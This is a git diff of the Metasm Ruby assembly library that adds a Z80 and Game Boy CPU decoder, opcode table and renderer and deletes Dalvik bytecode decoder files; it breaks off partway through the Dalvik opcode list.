--git a/lib/metasm/metasm/cpu/z80.rb b/lib/metasm/metasm/cpu/z80.rb new file mode 100644 index 0000000000..a842092909 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80.rb @@ -0,0 +1,9 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/z80/decode' +require 'metasm/cpu/z80/render' diff --git a/lib/metasm/metasm/cpu/z80/decode.rb b/lib/metasm/metasm/cpu/z80/decode.rb new file mode 100644 index 0000000000..f4f6898646 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/decode.rb @@ -0,0 +1,313 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/z80/opcodes' +require 'metasm/decode' + +module Metasm +class Z80 + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = Array.new(op.bin.length, 0) + op.fields.each { |f, (oct, off)| + op.bin_mask[oct] |= (@fields_mask[f] << off) + } + op.bin_mask.map! { |v| 255 ^ v } + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = op.bin[0] + msk = op.bin_mask[0] + next @unknown_opcode = op if not b + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_prefix(instr, byte) + case byte + when 0xDD; instr.prefix = 0xDD + when 0xFD; instr.prefix = 0xFD + # implicit 'else return false' + end + end + + # tries to find the opcode encoded at edata.ptr + # if no match, tries to match a prefix (update di.instruction.prefix) + # on match, edata.ptr points to the first byte of the opcode (after prefixes) + def decode_findopcode(edata) + di = DecodedInstruction.new self + while edata.ptr < edata.data.length + byte = edata.data[edata.ptr] + byte = byte.unpack('C').first if byte.kind_of?(::String) + return di if di.opcode = @bin_lookaside[byte].find { |op| + # fetch the relevant bytes from edata + bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') + # check against full opcode mask + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } + } + + if decode_prefix(di.instruction, edata.get_byte) + nb = edata.data[edata.ptr] + nb = nb.unpack('C').first if nb.kind_of?(::String) + case nb + when 0xCB + # DD CB [] + di.instruction.prefix |= edata.get_byte << 8 + di.bin_length += 2 + opc = edata.data[edata.ptr+1] + opc = opc.unpack('C').first if opc.kind_of?(::String) + bseq = [0xCB, opc] + # XXX in decode_instr_op, byte[0] is the immediate displacement instead of cb + return di if di.opcode = @bin_lookaside[nb].find { |op| + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } + } + when 0xED + di.instruction.prefix = nil + end + else + di.opcode = @unknown_opcode + return di + end + di.bin_length += 1 + end + end + + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length + pfx = di.instruction.prefix + + field_val = lambda { |f| + if fld = op.fields[f] + (bseq[fld[0]] >> fld[1]) & @fields_mask[f] + end + } + + op.args.each { |a| + di.instruction.args << case a + when :i8, :u8, :i16, :u16; Expression[edata.decode_imm(a, @endianness)] + when :iy; Expression[field_val[a]] + when :iy8; Expression[field_val[a]*8] + + when :rp + v = field_val[a] + Reg.new(16, v) + when :rp2 + v = field_val[a] + v = 4 if v == 3 + Reg.new(16, v) + when :ry, :rz + v = field_val[a] + if v == 6 + Memref.new(Reg.from_str('HL'), nil, 1) + else + Reg.new(8, v) + end + + when :r_a; Reg.from_str('A') + when :r_af; Reg.from_str('AF') + when :r_hl; Reg.from_str('HL') + when :r_de; Reg.from_str('DE') + when :r_sp; Reg.from_str('SP') + when :r_i; Reg.from_str('I') + + when :m16; Memref.new(nil, edata.decode_imm(:u16, @endianness), nil) + when :m_bc; Memref.new(Reg.from_str('BC'), nil, 1) + when :m_de; Memref.new(Reg.from_str('DE'), nil, 1) + when :m_sp; Memref.new(Reg.from_str('SP'), nil, 2) + when :m_hl; Memref.new(Reg.from_str('HL'), nil, 1) + when :mf8; Memref.new(nil, 0xff00 + edata.decode_imm(:u8, @endianness), 1) + when :mfc; Memref.new(Reg.from_str('C'), 0xff00, 1) + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + case pfx + when 0xDD + when 0xFD + when 0xCBDD + when 0xCBFD + end + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = 0xffff + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'ld'; lambda { |di, a0, a1, *aa| a2 = aa[0] ; a2 ? { a0 => Expression[a1, :+, a2] } : { a0 => Expression[a1] } } + when 'ldi'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :+, 1] } } + when 'ldd'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :-, 1] } } + when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, 'xor' => :^, 'or' => :| }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbc' + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'cp', 'cmp'; lambda { |di, *a| {} } + when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } + when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } + when 'push' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[a0] } } + when 'pop' + lambda { |di, a0| { :sp => Expression[:sp, :+, 2], + a0 => Indirection[:sp, 2, di.address] } } + when 'call' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[di.next_addr] } + } + when 'ret', 'reti'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } + # TODO callCC, retCC ... + when 'bswap' + lambda { |di, a0| { a0 => Expression[ + [[a0, :&, 0xff00], :>>, 8], :|, + [[a0, :&, 0x00ff], :<<, 8]] } } + when 'nop', /^j/; lambda { |di, *a| {} } + end + + # TODO flags ? + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + def fix_fwdemu_binding(di, fbd) + case di.opcode.name + when 'push', 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + case di.opcode.basename + when 'ret', 'reti' + return [Indirection[:sp, 2, di.address]] + when /^jr|^djnz/ + # jmp/call are absolute addrs, only jr/djnz are relative + # also, the asm source should display the relative offset + return [Expression[[di.address, :+, di.bin_length], :+, di.instruction.args.first]] + end + + case tg = di.instruction.args.first + when Memref; [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include?(:sp) + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/z80/main.rb b/lib/metasm/metasm/cpu/z80/main.rb new file mode 100644 index 0000000000..516c919e8b --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/main.rb @@ -0,0 +1,67 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class Z80 < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E', + 4 => 'H', 5 => 'L', 7 => 'A' }, + 16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP', + 4 => 'AF' } } # AF is 3 too + @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)| + h.update rh.inject({}) { |hh, (i, n)| + hh.update n => [sz, i] } } + + attr_accessor :sz, :i + def initialize(sz, i) + @sz = sz + @i = i + end + + def symbolic(orig=nil) ; to_s.to_sym ; end + + def self.from_str(s) + raise "Bad name #{s.inspect}" if not x = @s_to_i[s] + new(*x) + end + end + + class Memref + attr_accessor :base, :offset, :sz + def initialize(base, offset, sz=nil) + @base = base + offset = Expression[offset] if offset + @offset = offset + @sz = sz + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz, orig] + end + end + + def initialize(family = :latest) + super() + @endianness = :little + @size = 16 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/z80/opcodes.rb b/lib/metasm/metasm/cpu/z80/opcodes.rb new file mode 100644 index 0000000000..055de44249 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/opcodes.rb @@ -0,0 +1,224 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/z80/main' + +module Metasm + +class Z80 + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] or @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [bin.length-1, @fields_shift[a]] if @fields_mask[a] + raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] + } + @opcode_list << o + end + + def addop_macrocc(name, bin, *args) + %w[nz z nc c po pe p m].each_with_index { |cc, i| + dbin = bin.dup + dbin[0] |= i << 3 + addop name + cc, dbin, *args + } + end + + # data from http://www.z80.info/decoding.htm + def init_z80_common + @opcode_list = [] + @valid_args.update [:i8, :u8, :i16, :u16, :m16, + :r_a, :r_af, :r_hl, :r_de, :r_sp, :r_i, + :m_bc, :m_de, :m_sp, :m_hl, :mf8, :mfc + ].inject({}) { |h, v| h.update v => true } + @fields_mask.update :rz => 7, :ry => 7, :rp => 3, :rp2 => 3, :iy => 7, :iy8 => 7 + @fields_shift.update :rz => 0, :ry => 3, :rp => 4, :rp2 => 4, :iy => 3, :iy8 => 3 + + # some opcodes are in init_z80 when they are not part of the GB ABI + addop 'nop', [0b00_000_000] + addop 'jr', [0b00_011_000], :setip, :stopexec, :i8 + %w[nz z nc c].each_with_index { |cc, i| + addop 'jr' + cc, [0b00_100_000 | (i << 3)], :setip, :i8 + } + addop 'ld', [0b00_000_001], :rp, :i16 + addop 'add', [0b00_001_001], :r_hl, :rp + + addop 'ld', [0b00_000_010], :m_bc, :r_a + addop 'ld', [0b00_001_010], :r_a, :m_bc + addop 'ld', [0b00_010_010], :m_de, :r_a + addop 'ld', [0b00_011_010], :r_a, :m_de + + addop 'inc', [0b00_000_011], :rp + addop 'dec', [0b00_001_011], :rp + addop 'inc', [0b00_000_100], :ry + addop 'dec', [0b00_000_101], :ry + addop 'ld', [0b00_000_110], :ry, :i8 + + addop 'rlca', [0b00_000_111] # rotate + addop 'rrca', [0b00_001_111] + addop 'rla', [0b00_010_111] + addop 'rra', [0b00_011_111] + + addop 'daa', [0b00_100_111] + addop 'cpl', [0b00_101_111] + addop 'scf', [0b00_110_111] + addop 'ccf', [0b00_111_111] + + addop 'halt', [0b01_110_110] # ld (HL), (HL) + addop 'ld', [0b01_000_000], :ry, :rz + + addop 'add', [0b10_000_000], :r_a, :rz + addop 'adc', [0b10_001_000], :r_a, :rz + addop 'sub', [0b10_010_000], :r_a, :rz + addop 'sbc', [0b10_011_000], :r_a, :rz + addop 'and', [0b10_100_000], :r_a, :rz + addop 'xor', [0b10_101_000], :r_a, :rz + addop 'or', [0b10_110_000], :r_a, :rz + addop 'cmp', [0b10_111_000], :r_a, :rz # alias cp + addop 'cp', [0b10_111_000], :r_a, :rz # compare + + addop_macrocc 'ret', [0b11_000_000], :setip + addop 'pop', [0b11_000_001], :rp2 + addop 'ret', [0b11_001_001], :stopexec, :setip + addop 'jmp', [0b11_101_001], :r_hl, :setip, :stopexec # alias jp + addop 'jp', [0b11_101_001], :r_hl, :setip, :stopexec + addop 'ld', [0b11_111_001], :r_sp, :r_hl + addop_macrocc 'j', [0b11_000_010], :setip, :u16 # alias jp + addop_macrocc 'jp', [0b11_000_010], :setip, :u16 + addop 'jmp', [0b11_000_011], :setip, :stopexec, :u16 # alias jp + addop 'jp', [0b11_000_011], :setip, :stopexec, :u16 + + addop 'di', [0b11_110_011] # disable interrupts + addop 'ei', [0b11_111_011] + addop_macrocc 'call', [0b11_000_100], :u16, :setip, :saveip + addop 'push', [0b11_000_101], :rp2 + addop 'call', [0b11_001_101], :u16, :setip, :saveip, :stopexec + + addop 'add', [0b11_000_110], :r_a, :i8 + addop 'adc', [0b11_001_110], :r_a, :i8 + addop 'sub', [0b11_010_110], :r_a, :i8 + addop 'sbc', [0b11_011_110], :r_a, :i8 + addop 'and', [0b11_100_110], :r_a, :i8 + addop 'xor', [0b11_101_110], :r_a, :i8 + addop 'or', [0b11_110_110], :r_a, :i8 + addop 'cp', [0b11_111_110], :r_a, :i8 + + addop 'rst', [0b11_000_111], :iy8 # call off in page 0 + + addop 'rlc', [0xCB, 0b00_000_000], :rz # rotate + addop 'rrc', [0xCB, 0b00_001_000], :rz + addop 'rl', [0xCB, 0b00_010_000], :rz + addop 'rr', [0xCB, 0b00_011_000], :rz + addop 'sla', [0xCB, 0b00_100_000], :rz # shift + addop 'sra', [0xCB, 0b00_101_000], :rz + addop 'srl', [0xCB, 0b00_111_000], :rz + addop 'bit', [0xCB, 0b01_000_000], :iy, :rz # bit test + addop 'res', [0xCB, 0b10_000_000], :iy, :rz # bit reset + addop 'set', [0xCB, 0b11_000_000], :iy, :rz # bit set + end + + # standard z80 + def init_z80 + init_z80_common + + addop 'ex', [0b00_001_000], :r_af # XXX really ex AF, AF' ... + addop 'djnz', [0b00_010_000], :setip, :i8 + + addop 'ld', [0b00_100_010], :m16, :r_hl + addop 'ld', [0b00_101_010], :r_hl, :m16 + addop 'ld', [0b00_110_010], :m16, :r_a + addop 'ld', [0b00_111_010], :r_a, :m16 + + addop 'exx', [0b11_011_001] + addop 'out', [0b11_010_011], :i8, :r_a + addop 'in', [0b11_011_011], :r_a, :i8 + + addop 'ex', [0b11_100_011], :m_sp, :r_hl + addop 'ex', [0b11_101_011], :r_de, :r_hl + + addop 'sll', [0xCB, 0b00_110_000], :rz + + addop 'in', [0xED, 0b01_110_000], :u16 + addop 'in', [0xED, 0b01_000_000], :ry, :u16 + addop 'out', [0xED, 0b01_110_001], :u16 + addop 'out', [0xED, 0b01_000_001], :u16, :ry + addop 'sbc', [0xED, 0b01_000_010], :r_hl, :rp + addop 'adc', [0xED, 0b01_001_010], :r_hl, :rp + addop 'ld', [0xED, 0b01_000_011], :m16, :rp + addop 'ld', [0xED, 0b01_001_011], :rp, :m16 + addop 'neg', [0xED, 0b01_000_100], :r_a, :iy # dummy int field + addop 'retn', [0xED, 0b01_000_101], :stopexec # dummy int != 1 ? (1 = reti) + addop 'reti', [0xED, 0b01_001_101], :stopexec, :setip + addop 'im', [0xED, 0b01_000_110], :iy + addop 'ld', [0xED, 0b01_000_111], :r_i, :r_a + addop 'ld', [0xED, 0b01_001_111], :r_r, :r_a + addop 'ld', [0xED, 0b01_010_111], :r_a, :r_i + addop 'ld', [0xED, 0b01_011_111], :r_a, :r_r + addop 'rrd', [0xED, 0b01_100_111] + addop 'rld', [0xED, 0b01_101_111] + + addop 'ldi', [0xED, 0b10_100_000] + addop 'ldd', [0xED, 0b10_101_000] + addop 'ldir', [0xED, 0b10_110_000] + addop 'lddr', [0xED, 0b10_111_000] + addop 'cpi', [0xED, 0b10_100_001] + addop 'cpd', [0xED, 0b10_101_001] + addop 'cpir', [0xED, 0b10_110_001] + addop 'cpdr', [0xED, 0b10_111_001] + addop 'ini', [0xED, 0b10_100_010] + addop 'ind', [0xED, 0b10_101_010] + addop 'inir', [0xED, 0b10_110_010] + addop 'indr', [0xED, 0b10_111_010] + addop 'outi', [0xED, 0b10_100_011] + addop 'outd', [0xED, 0b10_101_011] + addop 'otir', [0xED, 0b10_110_011] + addop 'otdr', [0xED, 0b10_111_011] + + addop 'unk_ed', [0xED], :i8 + + addop 'unk_nop', [], :i8 # undefined opcode = nop + @unknown_opcode = @opcode_list.last + end + + # gameboy processor + # from http://nocash.emubase.de/pandocs.htm#cpucomparisionwithz80 + def init_gb + init_z80_common + + addop 'ld', [0x08], :m16, :r_sp + addop 'stop', [0x10] + + addop 'ldi', [0x22], :m_hl, :r_a # (hl++) <- a + addop 'ldi', [0x2A], :r_a, :m_hl + addop 'ldd', [0x32], :m_hl, :r_a # (hl--) <- a + addop 'ldd', [0x3A], :r_a, :m_hl + + addop 'reti', [0xD9], :setip, :stopexec + + # override retpo/jpo + @opcode_list.delete_if { |op| op.bin[0] & 0xE5 == 0xE0 } # rm E0 E2 E8 EA F0 F2 F8 FA + addop 'ld', [0xE0], :mf8, :r_a # (0xff00 + :i8) + addop 'ld', [0xE2], :mfc, :r_a # (0xff00 + :r_c) + addop 'add', [0xE8], :r_sp, :i8 + addop 'ld', [0xEA], :m16, :r_a + addop 'ld', [0xF0], :r_a, :mf8 + addop 'ld', [0xF2], :r_a, :mfc + addop 'ld', [0xF8], :r_hl, :r_sp, :i8 # hl <- sp+:i8 + addop 'ld', [0xFA], :r_a, :m16 + + addop 'swap', [0xCB, 0x30], :rz + + addop 'inv_dd', [0xDD], :stopexec # invalid prefixes + addop 'inv_ed', [0xED], :stopexec + addop 'inv_fd', [0xFD], :stopexec + + addop 'unk_nop', [], :i8 # undefined opcode = nop + @unknown_opcode = @opcode_list.last + end + + alias init_latest init_z80 +end +end diff --git a/lib/metasm/metasm/cpu/z80/render.rb b/lib/metasm/metasm/cpu/z80/render.rb new file mode 100644 index 0000000000..51a7b2e81b --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/render.rb @@ -0,0 +1,59 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/z80/opcodes' +require 'metasm/render' + +module Metasm +class Z80 + class Reg + include Renderable + def render ; [self.class.i_to_s[@sz][@i]] end + end + class Memref + include Renderable + def render + r = ['('] + r << @base if @base + r << '+' if @base and @offset + r << @offset if @offset + r << ')' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end + + def gui_hilight_word_regexp_init + ret = {} + + # { 'B' => 'B|BC', 'BC' => 'B|C|BC' } + + %w[BC DE HL].each { |w| + l0, l1 = w.split(//) + ret[l0] = "#{l0}#{l1}?" + ret[l1] = "#{l0}?#{l1}" + ret[w] = "#{l0}|#{l0}?#{l1}" + } + + ret + end + + def gui_hilight_word_regexp(word) + @gui_hilight_word_hash ||= gui_hilight_word_regexp_init + @gui_hilight_word_hash[word] or super(word) + end + +end +end diff --git a/lib/metasm/metasm/dalvik.rb b/lib/metasm/metasm/dalvik.rb deleted file mode 100644 index 4efa34fc07..0000000000 --- a/lib/metasm/metasm/dalvik.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/dalvik/decode' diff --git a/lib/metasm/metasm/dalvik/decode.rb b/lib/metasm/metasm/dalvik/decode.rb deleted file mode 100644 index 1b64eb0789..0000000000 --- a/lib/metasm/metasm/dalvik/decode.rb +++ /dev/null @@ -1,196 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/dalvik/opcodes' -require 'metasm/decode' - -module Metasm -class Dalvik - def build_bin_lookaside - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - di = DecodedInstruction.new(self) - di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] - edata.ptr -= 2 - di - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - - val = [edata.decode_imm(:u16, @endianness)] - - op.args.each { |a| - di.instruction.args << case a - when :i16 - val << edata.decode_imm(:i16, @endianness) - Expression[val.last] - when :u16 - val << edata.decode_imm(:u16, @endianness) - Expression[val.last] - when :r16 - val << edata.decode_imm(:u16, @endianness) - Reg.new(val.last) - when :i16_32hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 16] - when :i16_64hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 48] - when :i32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:i16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u64 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-4] | (val[-3] << 16) | (val[-2] << 32) | (val[-1] << 48)] - when :ra - Reg.new((val[0] >> 8) & 0xf) - when :rb - Reg.new((val[0] >> 12) & 0xf) - when :ib - Expression[Expression.make_signed((val[0] >> 12) & 0xf, 4)] - when :raa - Reg.new((val[0] >> 8) & 0xff) - when :iaa - Expression[Expression.make_signed((val[0] >> 8) & 0xff, 8)] - when :rbb - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new(val[1] & 0xff) - when :ibb - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed(val[1] & 0xff, 8)] - when :rcc - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new((val[1] >> 8) & 0xff) - when :icc - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] - when :rlist4, :rlist5 - cnt = (val[0] >> 12) & 0xf - val << edata.decode_imm(:u16, @endianness) - [cnt, 4].min.times { - di.instruction.args << Reg.new(val[-1] & 0xf) - val[-1] >>= 4 - } - di.instruction.args << Reg.new((val[0] >> 8) & 0xf) if cnt > 4 - next - when :rlist16 - cnt = (val[0] >> 8) & 0xff - val << edata.decode_imm(:u16, @endianness) - cnt.times { |c| - di.instruction.args << Reg.new(val[-1] + c) - } - next - when :m16 - val << edata.decode_imm(:u16, @endianness) - Method.new(@dex, val.last) - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = val.length*2 - - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - sz = @size/8 - @opcode_list.each { |op| - case op.name - when /invoke/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :-, sz], - Indirection[:callstack, sz] => Expression[di.next_addr] - } } - when /return/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :+, sz] - } } - end - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:saveip] - m = di.instruction.args.first - if m.kind_of? Method and m.off - [m.off] - else - [:default] - end - elsif di.opcode.props[:setip] - if di.opcode.name =~ /return/ - [Indirection[:callstack, @size/8]] - else - [] # [di.instruction.args.last] - end - else - [] - end - end - - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - df = DecodedFunction.new - ra = Indirection[:callstack, @size/8] - df.backtracked_for << BacktraceTrace.new(ra, :default, ra, :x, nil) - df.backtrace_binding[:callstack] = Expression[:callstack, :+, @size/8] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - - df - end - - def backtrace_is_function_return(expr, di=nil) - expr and Expression[expr] == Expression[Indirection[:callstack, @size/8]] - end -end -end diff --git a/lib/metasm/metasm/dalvik/main.rb b/lib/metasm/metasm/dalvik/main.rb deleted file mode 100644 index b0a0884ffc..0000000000 --- a/lib/metasm/metasm/dalvik/main.rb +++ /dev/null @@ -1,60 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Dalvik < CPU - class Reg - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic - "r#@i".to_sym - end - - def to_s - "r#@i" - end - end - - class Method - attr_accessor :dex, :midx, :off - def initialize(dex, midx) - @dex = dex - @midx = midx - if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and - me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m } - @off = me.codeoff + me.code.insns_off - end - end - - def to_s - if @dex and m = @dex.methods[@midx] - @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] - #dex.encoded.inv_export[@off] - else - "method_#@midx" - end - end - end - - def initialize(*args) - super() - @size = args.grep(Integer).first || 32 - @dex = args.grep(ExeFormat).first - @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) - end - - def init_opcode_list - init_latest - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/dalvik/opcodes.rb b/lib/metasm/metasm/dalvik/opcodes.rb deleted file mode 100644 index 48b858eec4..0000000000 --- a/lib/metasm/metasm/dalvik/opcodes.rb +++ /dev/null @@ -1,366 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# the Dalvik binary format, aka android java backend bytecode -# this file was generated using the android source tree, as reference, -# specifically dalvik/libdex/InstrUtils.c - -# the binary opcode format is 16 bit word-based -# the opcode number is in the low-order byte, and determines the -# argument format, which may take up to 4 other words - -require 'metasm/dalvik/main' - -module Metasm -class Dalvik - OPCODES = %w[nop move move_from16 move_16 move_wide move_wide_from16 -move_wide_16 move_object move_object_from16 move_object_16 move_result -move_result_wide move_result_object move_exception -return_void return return_wide return_object -const_4 const_16 const const_high16 const_wide_16 const_wide_32 -const_wide const_wide_high16 const_string const_string_jumbo const_class -monitor_enter monitor_exit check_cast instance_of array_length -new_instance new_array filled_new_array filled_new_array_range fill_array_data -throw goto goto_16 goto_32 packed_switch sparse_switch -cmpl_float cmpg_float cmpl_double cmpg_double cmp_long -if_eq if_ne if_lt if_ge if_gt if_le if_eqz if_nez if_ltz if_gez if_gtz if_lez -unused_3e unused_3f unused_40 unused_41 unused_42 unused_43 